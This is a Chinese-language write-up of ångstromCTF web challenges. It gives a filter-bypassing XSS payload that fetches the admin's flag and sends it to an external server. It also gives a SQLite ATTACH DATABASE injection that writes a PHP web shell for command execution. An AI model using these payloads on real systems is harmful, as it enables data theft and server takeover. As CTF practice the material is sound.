crumbs
由源码可以看出,只要知道curr在何值时键值为flag就可以了。
import requests
import re
url = "https://crumbs.web.actf.co/"
req = requests.get(url)
result = req.text[6:]
for i in range(1000):
req = requests.get(url+result)
result = req.text[6:]
print(str(i)+" :"+result)
Xtra Salty Sardines
题目直接标出了是xss。
且告诉我们只有admin bot才能访问Xtra Salty Sardines下的flag。
且源码提示我们过滤了这些字符,但只匹配一次,所以我们只要在我们的xss脚本前加上&"'<>
就行了。
在Xtra Salty Sardines页面传入xss,拿到https://xtra-salty-sardines.web.actf.co/sardines/jaumwaerhb
地址
&"'<><script>fetch("https://xtra-salty-sardines.web.actf.co/flag").then(res => res.text()).then(text => fetch("https://xxx.xxx.xxxx.xxx/?s=" + text));</script>
最后在admin bot页面提交地址,就可以触发xss,以admin bot访问xtra-salty-sardines下的flag,并发到我们的服务器上,这边我用的burp collaborator client接收的。
得到flag
Art Gallery
暂没成功。
No Flags
dockfile
FROM php:8.1.5-apache-bullseye
# executable that prints the flag
COPY printflag /printflag
RUN chmod 111 /printflag
COPY src /var/www/html
RUN chown -R root:root /var/www/html && chmod -R 555 /var/www/html
RUN mkdir /var/www/html/abyss &&\
chown -R root:root /var/www/html/abyss &&\
chmod -R 333 abyss
EXPOSE 80
php
<?php
if (!isset($_SESSION["DBNAME"])) {
$dbname = hash("sha256", (string) rand());
$_SESSION["DBNAME"] = $dbname;
$init = true;
} else {
$dbname = $_SESSION["DBNAME"];
$init = false;
}
$pdo = new PDO("sqlite:/tmp/$dbname.db");
if ($init) {
$pdo->exec("CREATE TABLE Flags (flag string); INSERT INTO Flags VALUES ('actf{not_the_flag}'), ('actf{maybe_the_flag}')");
}
if (isset($_POST["flag"])) {
$flag = $_POST["flag"];
$pdo->exec("INSERT INTO Flags VALUES ('$flag');");
}
foreach ($pdo->query("SELECT * FROM Flags") as $row) {
echo "<li>" . htmlspecialchars($row["flag"]) . "</li>";
}
?>
从Dockfile中可以看出要运行printflag文件且给了我们/var/www/html/abyss的写入文件权限,那么我们就可以通过写入shell来执行printflag。
漏洞点在$pdo->exec("INSERT INTO Flags VALUES ('$flag');");
直接构造闭合然后创建我们的数据库即可。
'); ATTACH DATABASE '/var/www/html/abyss/succ3.php' AS succ3; CREATE TABLE succ3.pwn (dataz text); INSERT INTO succ3.pwn (dataz) VALUES ('<?php system($_GET["cmd"]); ?>'); -- succ3
');#闭合语句
ATTACH DATABASE '/var/www/html/abyss/succ3.php' AS succ3;#在succ3.php文件中创建一个数据库
CREATE TABLE succ3.pwn (dataz text);#创建一个表
INSERT INTO succ3.pwn (dataz) VALUES ('<?php system($_GET["cmd"]); ?>'); -- succ3#将shell写入我们创建的php中
参考:
wp